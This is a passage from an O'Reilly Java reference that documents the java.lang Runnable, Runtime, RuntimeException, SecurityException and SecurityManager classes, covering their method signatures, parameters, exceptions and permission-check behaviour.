Immediate Sub-interfaces:

None

Implemented By:

java.lang.Thread

Availability:

JDK 1.0 or later

Description

The Runnable interface declares the run() method that is required for use with the Thread class. Any class that implements the Runnable interface must define a run() method. This method is the top-level code that is run by a thread.

Interface Declaration

public interface java.lang.Runnable {
    // Methods
    public abstract void run();
}

Methods

run

public abstract void run()

Description

When a Thread object starts running a thread, it associates executable code with the thread by calling a Runnable object's run() method. The subsequent behavior of the thread is controlled by the run() method. Thus, a class that wants to perform certain operations in a separate thread should implement the Runnable interface and define an appropriate run() method. When the run() method called by a Thread object returns or throws an exception, the thread dies.

See Also

Thread, ThreadGroup

Previous | Home | Next
Process | Book Index | Runtime
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Runtime

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Runtime

Name

Runtime

Synopsis

Class Name:

java.lang.Runtime

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Runtime class provides access to various information about the environment in which a program is running. The Java run-time environment creates a single instance of this class that is associated with a program. The Runtime class does not have any public constructors, so a program cannot create its own instances of the class. A program must call the getRuntime() method to get a reference to the current Runtime object.

Information about operating system features is accessible through the System class.

Class Summary

public class java.lang.Runtime extends java.lang.Object {
    // Class Methods
    public static Runtime getRuntime();
    public static void runFinalizersOnExit(boolean value);  // New in 1.1
    // Instance Methods
    public Process exec(String command);
    public Process exec(String command, String envp[]);
    public Process exec(String cmdarray[]);
    public Process exec(String cmdarray[], String envp[]);
    public void exit(int status);
    public native long freeMemory();
    public native void gc();
    public InputStream
           getLocalizedInputStream(InputStream in);      // Deprecated in 1.1
    public OutputStream
           getLocalizedOutputStream(OutputStream out);   // Deprecated in 1.1
    public synchronized void load(String filename);
    public synchronized void loadLibrary(String libname);
    public native void runFinalization();
    public native long totalMemory();
    public native void traceInstructions(boolean on);
    public native void traceMethodCalls(boolean on);
}

Class Methods

getRuntime

public static Runtime getRuntime()

Returns

A reference to the current Runtime object.

Description

This method returns a reference to the current Runtime object. Because the other methods of the Runtime class are not static, a program must call this method first in order to get a reference to a Runtime object that can be used in calling the other methods.

runFinalizersOnExit

public static void runFinalizersOnExit(boolean value)

Availability

New as of JDK 1.1

Parameters

value

A boolean value that specifies whether or not finalization occurs on exit.

Throws

SecurityException

If the checkExit() method of the SecurityManager throws a SecurityException.

Description

This method specifies whether or not the finalize() methods of all objects that have finalize() methods are run before the Java virtual machine exits. By default, the finalizers are not run on exit.

Instance Methods

exec

public Process exec(String command) throws IOException

Parameters

command

A string that contains the name of an external command and any arguments to be passed to it.

Returns

A Process object that controls the process started by this method.

Throws

IOException

If there is a problem finding or accessing the specified external command.

SecurityException

If the checkExec() method of the SecurityManager throws a SecurityException.

Description

This method starts a new process to execute the given external command. The standard input, standard output, and standard error streams from the process are redirected to OutputStream and InputStream objects that are accessible through the Process object returned by this method.

Calling this method is equivalent to:

exec(command, null)

 public Process exec(String command, String[] envp) throws IOException

Parameters

command

A string that contains the name of an external command and any arguments to be passed to it.

envp

An array of strings that specifies the values for the environment variables of the new process. Each String in the array should be of the form variableName =value. If envp is null, the values of the environment variables in the current process are copied to the new process.

Returns

A Process object that controls the process started by this method.

Throws

IOException

If there is a problem finding or accessing the specified external command.

SecurityException

If the checkExec() method of the SecurityManager throws a SecurityException.

Description

This method starts a new process to execute the given external command. The standard input, standard output, and standard error streams from the process are redirected to OutputStream and InputStream objects that are accessible through the Process object returned by this method.

The method parses the command string into words that are separated by whitespace. It creates a String object for each word and places word String objects into an array. If that array is called commandArray, calling this method is equivalent to:

exec(commmandArray, envp)

 public Process exec(String[] commandArray) throws IOException

Parameters

commandArray

An array of strings that contains separate strings for the name of an external command and any arguments to be passed to it. The first string in the array must be the command name.

Returns

A Process object that controls the process started by this method.

Throws

IOException

If there is a problem finding or accessing the specified external command.

SecurityException

If the checkExec() method of the SecurityManager throws a SecurityException.

Description

This method starts a new process to execute the given external command. The standard input, standard output, and standard error streams from the process are redirected to OutputStream and InputStream objects that are accessible through the Process object returned by this method.

Calling this method is equivalent to:

exec(commandArray, null)

 public Process exec(String[] commandArray, String[] envp) throws IOException

Parameters

commandArray

An array of strings that contains separate strings for the name of an external command and any arguments to be passed to it. The first string in the array must be the command name.

envp

An array of strings that specifies the values for the environment variables of the new process. Each String in the array should be of the form variableName =value. If envp is null, the values of the environment variables in the current process are copied to the new process.

Returns

A Process object that controls the process started by this method.

Throws

IOException

If there is a problem finding or accessing the specified external command.

SecurityException

If the checkExec() method of the SecurityManager throws a SecurityException.

Description

This method starts a new process to execute the given external command. The standard input, standard output, and standard error streams from the process are redirected to OutputStream and InputStream objects that are accessible through the Process object returned by this method.

exit

public void exit(int status)

Parameters

status

The exit status code to use.

Throws

SecurityException

If the checkExit() method of the SecurityManager throws a SecurityException.

Description

This method causes the Java virtual machine to exit with the given status code. By convention, a nonzero status code indicates abnormal termination. This method never returns.

freeMemory

public native long freeMemory()

Returns

An estimate of the number of free bytes in system memory.

Description

This method returns an estimate of the number of free bytes in system memory. The value returned by this method is always less than the value returned by totalMemory(). Additional memory may be freed by calling the gc() method.

gc

public native void gc()

Description

This method causes the Java virtual machine to run the garbage collector in the current thread.

The garbage collector finds objects that will never be used again because there are no live references to them. After it finds these objects, the garbage collector frees the storage occupied by these objects.

The garbage collector is normally run continuously in a thread with the lowest possible priority, so that it works intermittently to reclaim storage. The gc() method allows a program to invoke the garbage collector explicitly when necessary.

getLocalizedInputStream

public InputStream getLocalizedInputStream(InputStream in)

Availability

Deprecated as of JDK 1.1

Parameters

in

An InputStream object that is to be localized.

Returns

The localized InputStream.

Description

This method returns an InputStream object that converts characters from the local character set to Unicode. For example, if the InputStream uses an 8-bit character set with values less than 128 representing Cyrillic letters, this method maps those characters to the corresponding Unicode characters in the range '\u0400' to '\u04FF'.

This method is deprecated as of JDK 1.1. You should instead use the new InputStreamReader and BufferedReader classes to convert characters from the local character set to Unicode.

getLocalizedOutputStream

public OutputStream getLocalizedOutputStream(OutputStream out)

Availability

Deprecated as of JDK 1.1

Parameters

out

An OutputStream object that is to be localized.

Returns

The localized OutputStream.

Description

This method returns an OutputStream object that converts characters from Unicode to the local character set. For example, if the local character set is an 8-bit character set with values less than 128 representing Cyrillic letters, this method maps Unicode characters in the range '\u0400' to '\u04FF' to the appropriate characters in the local character set.

This method is deprecated as of JDK 1.1. You should instead use the new OutputStreamWriter and BufferedWriter classes to convert characters from Unicode to the local character set.

load

public synchronized void load(String filename)

Parameters

filename

A string that specifies the complete path of the file to be loaded.

Throws

SecurityException

If the checkLink() method of the SecurityManager throws a SecurityException.

UnsatisfiedLinkError

If the method is unsuccessful in loading the specified dynamically linked library.

Description

This method loads the specified dynamically linked library.

It is often more convenient to call the load() method of the System class because it does not require getting a Runtime object.

loadLibrary

public synchronized void loadLibrary(String libname)

Parameters

libname

A string that specifies the name of a dynamically linked library.

Throws

SecurityException

If the checkLink() method of the SecurityManager throws a SecurityException.

UnsatisfiedLinkError

If the method is unsuccessful in loading the specified dynamically linked library.

Description

This method loads the specified dynamically linked library. It looks for the specified library in a platform-specific way.

It is often more convenient to call the loadLibrary() method of the System class because it does not require getting a Runtime object.

runFinalization

public native void runFinalization()

Description

This method causes the Java virtual machine to run the finalize() methods of any objects in the finalization queue in the current thread.

When the garbage collector discovers that there are no references to an object, it checks to see if the object has a finalize() method that has never been called. If the object has such a finalize() method, the object is placed in the finalization queue. While there is a reference to the object in the finalization queue, the object is no longer considered garbage-collectable.

Normally, the objects in the finalization queue are handled by a separate finalization thread that runs continuously at a very low priority. The finalization thread removes an object from the queue and calls its finalize() method. As long as the finalize() method does not generate a reference to the object, the object again becomes available for garbage collection.

Because the finalization thread runs at a very low priority, there may be a long delay from the time that an object is put on the finalization queue until the time that its finalize() method is called. The runFinalization() method allows a program to run the finalize() methods explicitly. This can be useful when there is a shortage of some resource that is released by a finalize() method.

totalMemory

public native long totalMemory()

Returns

The total number of bytes in system memory.

Description

This method returns the total number of bytes in system memory in the Java virtual machine. The total includes the number of bytes of memory being used by allocated objects, as well as the number of free bytes available for allocating additional objects. An estimate of the number of free bytes in system memory is available through the freeMemory() method.

traceInstructions

public native void traceInstructions(boolean on)

Parameters

on

A boolean value that specifies if instructions are to be traced. true if instructions are to be traced; otherwise false.

Description

This method controls whether or not the Java virtual machine outputs a detailed trace of each instruction that is executed. The boolean parameter causes tracing to be turned on or off. The tracing of instructions is only possible in a Java virtual machine that was compiled with the tracing option enabled. Production releases of the Java virtual machine are generally not compiled with tracing enabled.

traceMethodCalls

public native void traceMethodCalls(boolean on)

Parameters

on

A boolean value that specifies if method calls are to be traced. true if instructions are to be traced; otherwise false.

Description

This method controls whether or not the Java virtual machine outputs a detailed trace of each method that is invoked. The boolean parameter causes tracing to be turned on or off. The tracing of instructions is only possible in a Java virtual machine that was compiled with the tracing option enabled. Production releases of the Java virtual machine are generally not compiled with tracing enabled.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

IOException, Object, Process, SecurityException, SecurityManager, System, UnsatisfiedLinkError

Previous | Home | Next
Runnable | Book Index | RuntimeException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] RuntimeException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

RuntimeException

Name

RuntimeException

Synopsis

Class Name:

java.lang.RuntimeException

Superclass:

java.lang.Exception

Immediate Subclasses:

java.lang.ArithmeticException,

java.lang.ArrayStoreException,

java.lang.ClassCastException,

java.lang.IllegalArgumentException,

java.lang.IllegalMonitorStateException,

java.lang.IllegalStateException,

java.lang.IndexOutOfBoundsException,

java.lang.NegativeArraySizeException,

java.lang.NullPointerException,

java.lang.SecurityException,

java.util.EmptyStackException,

java.util.MissingResourceException,

java.util.NoSuchElementException

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The RuntimeException class is the superclass of the standard run-time exceptions that can be thrown in Java. The appropriate subclass of RuntimeException is thrown in response to a run-time error detected at the virtual machine level. A run-time exception represents a run-time condition that can occur generally in any Java method, so a method is not required to declare that it throws any of the run-time exceptions.

A Java program should try to handle all of the standard run-time exception classes, since they represent routine abnormal conditions that should be anticipated and caught to prevent program termination.

Class Summary

public class java.lang.RuntimeException extends java.lang.Exception {
  // Constructors
  public RuntimeException();
  public RuntimeException(String s);
}

Constructors

RuntimeException

public RuntimeException()

Description

This constructor creates a RuntimeException with no associated detail message.

public RuntimeException(String s)

Parameters

s

The detail message.

Description

This constructor creates a RuntimeException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

ArithmeticException, ArrayStoreException, ClassCastException, EmptyStackException, IllegalArgumentException, IllegalMonitorStateException, IllegalStateException, IndexOutOfBoundsException, MissingResourceException, NegativeArraySizeException, NoSuchElementException, NullPointerException, SecurityException, Throwable

Previous | Home | Next
Runtime | Book Index | SecurityException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] SecurityException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

SecurityException

Name

SecurityException

Synopsis

Class Name:

java.lang.SecurityException

Superclass:

java.lang.RuntimeException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A SecurityException is thrown in response to an attempt to perform an operation that violates the security policy implemented by the installed SecurityManager object.

Class Summary

public class java.lang.SecurityException
             extends java.lang.RuntimeException {
  // Constructors
  public SecurityException();
  public SecurityException(String s);
}

Constructors

SecurityException

public SecurityException()

Description

This constructor creates a SecurityException with no associated detail message.

public SecurityException(String s)

Parameters

s

The detail message.

Description

This constructor creates a SecurityException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, RuntimeException, SecurityManager, Throwable

Previous | Home | Next
RuntimeException | Book Index | SecurityManager
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] SecurityManager

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

SecurityManager

Name

SecurityManager

Synopsis

Class Name:

java.lang.SecurityManager

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The SecurityManager class provides a way of implementing a comprehensive security policy for a Java program. As of this writing, SecurityManager objects are used primarily by Web browsers to establish security policies for applets. However, the use of a SecurityManager object is appropriate in any situation where a hosting environment wants to limit the actions of hosted programs.

The SecurityManager class contains methods that are called by methods in other classes to ask for permission to do something that can affect the security of the system. These permission methods all have names that begin with check. If a check method does not permit an action, it throws a SecurityException or returns a value that indicates the lack of permission. The SecurityManager class provides default implementations of all of the check methods. These default implementations are the most restrictive possible implementations; they simply deny permission to do anything that can affect the security of the system.

The SecurityManager class is an abstract class. A hosting environment should define a subclass of SecurityManager that implements an appropriate security policy. To give the subclass of SecurityManager control over security, the hosting environment creates an instance of the class and installs it by passing it to the setSecurityManager() method of the System class. Once a SecurityManager object is installed, it cannot be changed. If the setSecurityManager() method is called any additional times, it throws a SecurityException.

The methods in other classes that want to ask the SecurityManager for permission to do something are able to access the SecurityManager object by calling the getSecurityManager() method of the System class. This method returns the SecurityManager object, or null to indicate that there is no SecurityManager installed.

Class Summary

public abstract class java.lang.SecurityManager extends java.lang.Object {
    // Constructors
    protected SecurityManager();
    // Variables
    protected boolean inCheck;
    // Instance Methods
    public void checkAccept(String host, int port);
    public void checkAccess(Thread t);
    public void checkAccess(ThreadGroup g);
    public void checkAwtEventQueueAccess();                  // New in 1.1
    public void checkConnect(String host, int port);
    public void checkConnect(String host, int port, Object context);
    public void checkCreateClassLoader();
    public void checkDelete(String file);
    public void checkExec(String cmd);
    public void checkExit(int status);
    public void checkLink(String libname);
    public void checkListen(int port);
    public void checkMemberAccess(Class clazz, int which);   // New in 1.1
    public void checkMulticast(InetAddress maddr);           // New in 1.1
    public void checkMulticast(InetAddress maddr, byte ttl); // New in 1.1
    public void checkPackageAccess();
    public void checkPackageDefinition();
    public void checkPrintJobAccess();                       // New in 1.1
    public void checkPropertiesAccess();
    public void checkPropertyAccess(String key);
    public void checkRead(int fd);
    public void checkRead(String file);
    public void checkRead(String file, Object context);
    public void checkSecurityAccess(String action);          // New in 1.1
    public void checkSetFactory();
    public void checkSystemClipboardAccess();                // New in 1.1
    public boolean checkTopLevelWindow();
    public void checkWrite(int fd);
    public void checkWrite(String file);
    public boolean getInCheck();
    public Object getSecurityContext();
    public ThreadGroup getThreadGroup();                     // New in 1.1
    // Protected Instance Methods
    protected int classDepth(String name);
    protected int classLoaderDepth();
    protected ClassLoader currentClassLoader();
    protected Class currentLoadedClass();                    // New in 1.1
    protected Class[] getClassContext();
    protected boolean inClass(String name);
    protected boolean inClassLoader();
}

Variables

inCheck

protected boolean inCheck = false

Description

This variable indicates whether or not a security check is in progress. A subclass of SecurityManager should set this variable to true while a security check is in progress.

This variable can be useful for security checks that require access to resources that a hosted program may not be permitted to access. For example, a security policy might be based on the contents of a permissions file. This means that the various check methods need to read information from a file to decide what to do. Even though a hosted program may not be allowed to read files, the check methods can allow such reads when inCheck is true to support this style of security policy.

Constructors

SecurityManager

protected SecurityManager()

Throws

SecurityException

If a SecurityManager object already exists. In other words, if System.getSecurityManager() returns a value other than null.

Description

Creates a new SecurityManager object. This constructor cannot be called if there is already a current SecurityManager installed for the program.

Public Instance Methods

checkAccept

public void checkAccept(String host, int port)

Parameters

host

The name of the host machine.

port

A port number.

Throws

SecurityException

If the caller does not have permission to accept the connection.

Description

This method decides whether or not to allow a connection from the given host on the given port to be accepted. An implementation of the method should throw a SecurityException to deny permission to accept the connection. The method is called by the accept() method of the java.net.ServerSocket class.

The checkAccept() method of SecurityManager always throws a SecurityException.

checkAccess

public void checkAccess(Thread g)

Parameters

g

A reference to a Thread object.

Throws

SecurityException

If the current thread does not have permission to modify the specified thread.

Description

This method decides whether or not to allow the current thread to modify the specified Thread. An implementation of the method should throw a SecurityException to deny permission to modify the thread. Methods of the Thread class that call this method include stop(), suspend(), resume(), setPriority(), setName(), and setDaemon().

The checkAccess() method of SecurityManager always throws a SecurityException.

public void checkAccess(ThreadGroup g)

Parameters

g

A reference to a ThreadGroup object.

Throws

SecurityException

If the current thread does not have permission to modify the specified thread group.

Description

This method decides whether or not to allow the current thread to modify the specified ThreadGroup. An implementation of the method should throw a SecurityException to deny permission to modify the thread group. Methods of the ThreadGroup class that call this method include setDaemon(), setMaxPriority(), stop(), suspend(), resume(), and destroy().

The checkAccess() method of SecurityManager always throws a SecurityException.

checkAwtEventQueueAccess

public void checkAwtEventQueueAccess()

Availability

New as of JDK 1.1

Throws

SecurityException

If the caller does not have permission to access the AWT event queue.

Description

This method decides whether or not to allow access to the AWT event queue. An implementation of the method should throw a SecurityException to deny permission to access the event queue. The method is called by the getSystemEventQueue() method of the java.awt.Toolkit class.

The checkAwtEventQueueAccess() method of SecurityManager always throws a SecurityException.

checkConnect

public void checkConnect(String host, int port)

Parameters

host

The name of the host.

port

A port number. A value of -1 indicates an attempt to determine the IP address of given hostname.

Throws

SecurityException

If the caller does not have permission to open the socket connection.

Description

This method decides whether or not to allow a socket connection to the given host on the given port to be opened. An implementation of the method should throw a SecurityException to deny permission to open the connection. The method is called by the constructors of the java.net.Socket class, the send() and receive() methods of the java.net.DatagramSocket class, and the getByName() and getAllByName() methods of the java.net.InetAddress class.

The checkConnect() method of SecurityManager always throws a SecurityException.

 public void checkConnect(String host, int port, Object context)

Parameters

host

The name of the host.

port

A port number. A value of -1 indicates an attempt to determine the IP address of given host name.

context

A security context object returned by this object's getSecurityContext() method.

Throws

SecurityException

If the specified security context does not have permission to open the socket connection.

Description

This method decides whether or not to allow a socket connection to the given host on the given port to be opened for the specified security context. An implementation of the method should throw a SecurityException to deny permission to open the connection.

The checkConnect() method of SecurityManager always throws a SecurityException.

checkCreateClassLoader

public void checkCreateClassLoader()

Throws

SecurityException

If the caller does not have permission to create a ClassLoader object.

Description

This method decides whether or not to allow a ClassLoader object to be created. An implementation of the method should throw a SecurityException to deny permission to create a ClassLoader. The method is called by the constructor of the ClassLoader class.

The checkCreateClassLoader() method of SecurityManager always throws a SecurityException.

checkDelete

public void checkDelete(String file)

Parameters

file

The name of a file.

Throws

SecurityException

If the caller does not have permission to delete the specified file.

Description

This method decides whether or not to allow a file to be deleted. An implementation of the method should throw a SecurityException to deny permission to delete the specified file. The method is called by the delete() method of the java.io.File class.

The checkDelete() method of SecurityManager always throws a SecurityException.

checkExec

public void checkExec(String cmd)

Parameters

cmd

The name of an external command.

Throws

SecurityException

If the caller does not have permission to execute the specified command.

Description

This method decides whether or not to allow an external command to be executed. An implementation of the method should throw a SecurityException to deny permission to execute the specified command. The method is called by the exec() methods of the Runtime and System classes.

The checkExec() method of SecurityManager always throws a SecurityException.

checkExit

public void checkExit(int status)

Parameters

status

An exit status code.

Throws

SecurityException

If the caller does not have permission to exit the Java virtual machine with the given status code.

Description

This method decides whether or not to allow the Java virtual machine to exit with the given status code. An implementation of the method should throw a SecurityException to deny permission to exit with the specified status code. The method is called by the exit() methods of the Runtime and System classes.

The checkExit() method of SecurityManager always throws a SecurityException.

checkLink

public void checkLink(String lib)

Parameters

lib

The name of a library.

Throws

SecurityException

If the caller does not have permission to load the specified library.

Description

This method decides whether to allow the specified library to be loaded. An implementation of the method should throw a SecurityException to deny permission to load the specified library. The method is called by the load() and loadLibrary() methods of the Runtime and System classes.

The checkLink() method of SecurityManager always throws a SecurityException.

checkListen

public void checkListen(int port)

Parameters

port

A port number.

Throws

SecurityException

If the caller does not have permission to listen on the specified port.

Description

This method decides whether or not to allow the caller to listen on the specified port. An implementation of the method should throw a SecurityException to deny permission to listen on the specified port. The method is called by the constructors of the java.net.ServerSocket class and by the constructor of the java.net.DatagramSocket class that takes one argument.

The checkListen() method of SecurityManager always throws a SecurityException.

checkMemberAccess

public void checkMemberAccess(Class clazz, int which)

Availability

New as of JDK 1.1

Parameters

clazz

A Class object.

which

The value Member.PUBLIC for the set of all public members including inherited members or the value Member.DECLARED for the set of all declared members of the specified class or interface.

Throws

SecurityException

If the caller does not have permission to access the members of the specified class or interface.

Description

This method decides whether or not to allow access to the
members of the specified Class object.  An implementation
of the method should throw a SecurityException
to deny permission to access the members.  Methods of the
Class class that call this method include
getField(), getFields(),
getDeclaredField(), getDeclaredFields(),
getMethod(), getMethods(),
getDeclaredMethod(),
getDeclaredMethods(),
getConstructor(), getConstructors(),
getDeclaredConstructor(),
getDeclaredConstructors(), and
getDeclaredClasses().

The checkMemberAccess() method of SecurityManager always throws a SecurityException.

checkMulticast

public void checkMulticast(InetAddress maddr)

Availability

New as of JDK 1.1

Parameters

maddr

An InetAddress object that represents a multicast address.

Throws

SecurityException

If the current thread does not have permission to use the specified multicast address.

Description

This method decides whether or not to allow the current thread to use the specified multicast InetAddress. An implementation of the method should throw a SecurityException to deny permission to use the multicast address. The method is called by the send() method of java.net.DatagramSocket if the packet is being sent to a multicast address. The method is also called by the joinGroup() and leaveGroup() methods of java.net.MulticastSocket.

The checkMulticast() method of SecurityManager always throws a SecurityException.

public void checkMulticast(InetAddress maddr, byte ttl)

Availability

New as of JDK 1.1

Parameters

maddr

An InetAddress object that represents a multicast address.

ttl

The time-to-live (TTL) value.

Throws

SecurityException

If the current thread does not have permission to use the specified multicast address and TTL value.

Description

This method decides whether or not to allow the current thread to use the specified multicast InetAddress and TTL value. An implementation of the method should throw a SecurityException to deny permission to use the multicast address. The method is called by the send() method of java.net.MulticastSocket.

The checkMulticast() method of SecurityManager always throws a SecurityException.

checkPackageAccess

public void checkPackageAccess(String pkg)

Parameters

pkg

The name of a package.

Throws

SecurityException

If the caller does not have permission to access the specified package.

Description

This method decides whether or not to allow the specified package to be accessed. An implementation of the method should throw a SecurityException to deny permission to access the specified package. The method is intended to be called by implementations of the loadClass() method in subclasses of the ClassLoader class.

The checkPackageAccess() method of SecurityManager always throws a SecurityException.

checkPackageDefinition

public void checkPackageDefinition(String pkg)

Parameters

pkg

The name of a package.

Throws

SecurityException

If the caller does not have permission to define classes in the specified package.

Description

This method decides whether or not to allow the caller to define classes in the specified package. An implementation of the method should throw a SecurityException to deny permission to create classes in the specified package. The method is intended to be called by implementations of the loadClass() method in subclasses of the ClassLoader class.

The checkPackageDefinition() method of SecurityManager always throws a SecurityException.

checkPrintJobAccess

public void checkPrintJobAccess()

Availability

New as of JDK 1.1

Throws

SecurityException

If the caller does not have permission to initiate a print job request.

Description

This method decides whether or not to allow the caller to initiate a print job request. An implementation of the method should throw a SecurityException to deny permission to initiate the request.

The checkPrintJobAccess() method of SecurityManager always throws a SecurityException.

checkPropertiesAccess

public void checkPropertiesAccess()

Throws

SecurityException

If the caller does not have permission to access the system properties.

Description

This method decides whether or not to allow the caller to access and modify the system properties. An implementation of the method should throw a SecurityException to deny permission to access and modify the properties. Methods of the System class that call this method include getProperties() and setProperties().

The checkPropertiesAccess() method of SecurityManager always throws a SecurityException.

checkPropertyAccess

public void checkPropertyAccess(String key)

Parameters

key

The name of an individual system property.

Throws

SecurityException

If the caller does not have permission to access the specified system property.

Description

This method decides whether or not to allow the caller to access the specified system property. An implementation of the method should throw a SecurityException to deny permission to access the property. The method is called by the getProperty() method of the System class.

The checkPropertyAccess() method of SecurityManager always throws a SecurityException.

checkRead

public void checkRead(FileDescriptor fd)

Parameters

fd

A reference to a FileDescriptor object.

Throws

SecurityException

If the caller does not have permission to read from the given file descriptor.

Description

This method decides whether or not to allow the caller to read from the specified file descriptor. An implementation of the method should throw a SecurityException to deny permission to read from the file descriptor. The method is called by the constructor of the java.io.FileInputStream class that takes a FileDescriptor argument.

The checkRead() method of SecurityManager always throws a SecurityException.

public void checkRead(String file)

Parameters

file

The name of a file.

Throws

SecurityException

If the caller does not have permission to read from the named file.

Description

This method decides whether or not to allow the caller to read from the named file. An implementation of the method should throw a SecurityException to deny permission to read from the file. The method is called by constructors of the java.io.FileInputStream and java.io.RandomAccessFile classes, as well as by the canRead(), exists(), isDirectory(), isFile(), lastModified(), length(), and list() methods of the java.io.File class.

The checkRead() method of SecurityManager always throws a SecurityException.

public void checkRead(String file, Object context)

Parameters

file

The name of a file.

context

A security context object returned by this object's getSecurityContext() method.

Throws

SecurityException

If the specified security context does not have permission to read from the named file.

Description

This method decides whether or not to allow the specified security context to read from the named file. An implementation of the method should throw a SecurityException to deny permission to read from the file.

The checkRead() method of SecurityManager always throws a SecurityException.

checkSecurityAccess

public void checkSecurityAccess(String action)

Availability

New as of JDK 1.1

Parameters

action

A string that specifies a security action.

Throws

SecurityException

If the caller does not have permission to perform the specified security action.

Description

This method decides whether to allow the caller to perform the specified security action. An implementation of the method should throw a SecurityException to deny permission to perform the action. The method is called by many of the methods in the java.security.Identity and java.security.Security classes.

The checkSecurityAccess() method of SecurityManager always throws a SecurityException.

checkSetFactory

public void checkSetFactory()

Throws

SecurityException

If the caller does not have permission to set the factory class to be used by another class.

Description

This method decides whether to allow the caller to set the factory class to be used by another class. An implementation of the method should throw a SecurityException to deny permission to set the factory class. The method is called by the setSocketFactory() method of the java.net.ServerSocket class, the setSocketImplFactory() method of the java.net.Socket class, the setURLStreamHandlerFactory() method of the java.net.URL class, and the setContentHandlerFactory() method of the java.net.URLConnection class.

The checkSetFactory() method of SecurityManager always throws a SecurityException.

checkSystemClipboardAccess

public void checkSystemClipboardAccess()

Availability

New as of JDK 1.1

Throws

SecurityException

If the caller does not have permission to access the system clipboard.

Description

This method decides whether or not to allow the caller to access the system clipboard. An implementation of the method should throw a SecurityException to deny permission to access the system clipboard.

The checkSystemClipboardAccess() method of SecurityManager always throws a SecurityException.

checkTopLevelWindow

public boolean checkTopLevelWindow(Object window)

Parameters

window

A window object.

Returns

true if the caller is trusted to put up the specified top-level window; otherwise false.

Description

This method decides whether or not to trust the caller to put up the specified top-level window. An implementation of the method should return false to indicate that the caller is not trusted. In this case, the hosting environment can still decide to display the window, but the window should include a visual indication that it is not trusted. If the caller is trusted, the method should return true, and the window can be displayed without any special indication.

The checkTopLevelWindow() method of SecurityManager always returns false.

checkWrite

public void checkWrite(FileDescriptor fd)

Parameters

fd

A FileDescriptor object.

Throws

SecurityException

If the caller does not have permission to write to the given file descriptor.

Description

This method decides whether or not to allow the caller to write to the specified file descriptor. An implementation of the method should throw a SecurityException to deny permission to write to the file descriptor. The method is called by the constructor of the java.io.FileOutputStream class that takes a FileDescriptor argument.

The checkWrite() method of SecurityManager always throws a SecurityException.

public void checkWrite(String file)

Parameters

file

The name of a file.

Throws

SecurityException

If the caller does not have permission to read from the named file.

Description

This method decides whether or not to allow the caller to write to the named file. An implementation of the method should throw a SecurityException to deny permission to write to the file. The method is called by constructors of the java.io.FileOutputStream and java.io.RandomAccessFile classes, as well as by the canWrite(), mkdir(), and renameTo() methods of the java.io.File class.

The checkWrite() method of SecurityManager always throws a SecurityException.

getInCheck

public boolean getInCheck()

Returns

true if a security check is in progress; otherwise false.

Description

This method returns the value of the SecurityManager object's inCheck variable, which is true if a security check is in progress and false otherwise.

getSecurityContext

public Object getSecurityContext()

Returns

An implementation-dependent object that contains enough information about the current execution environment to perform security checks at a later time.

Description

This method is meant to create an object that encapsulates information about the current execution environment. The resulting security context object is used by specific versions of the checkConnect() and checkRead() methods. The intent is that such a security context object can be used by a trusted method to determine whether or not another, untrusted method can perform a particular operation.

The getSecurityContext() method of SecurityManager simply returns null. This method should be overridden to return an appropriate security context object for the security policy that is being implemented.

getThreadGroup

public ThreadGroup getThreadGroup()

Availability

New as of JDK 1.1

Returns

A ThreadGroup in which to place any threads that are created when this method is called.

Description

This method returns the appropriate parent ThreadGroup for any threads that are created when the method is called. The getThreadGroup() method of SecurityManager simply returns the ThreadGroup of the current thread. This method should be overridden to return an appropriate ThreadGroup.

Protected Instance Methods

classDepth

protected native int classDepth(String name)

Parameters

name

The fully qualified name of a class.

Returns

The number of pending method invocations from the top of the stack to a call to a method of the given class; -1 if no stack frame in the current thread is associated with a call to a method in the given class.

Description

This method returns the number of pending method invocations between this method invocation and an invocation of a method associated with the named class.

classLoaderDepth

protected native int classLoaderDepth()

Returns

The number of pending method invocations from the top of the stack to a call to a method that is associated with a class that was loaded by a ClassLoader object; -1 if no stack frame in the current thread is associated with a call to such a method.

Description

This method returns the number of pending method invocations between this method invocation and an invocation of a method associated with a class that was loaded by a ClassLoader object.

currentClassLoader

protected native ClassLoader currentClassLoader()

Returns

The most recent ClassLoader object executing on the stack.

Description

This method finds the most recent pending invocation of a method associated with a class that was loaded by a ClassLoader object. The method then returns the ClassLoader object that loaded that class.

currentLoadedClass

protected Class currentLoadedClass()

Availability

New as of JDK 1.1

Returns

The most recent Class object loaded by a ClassLoader.

Description

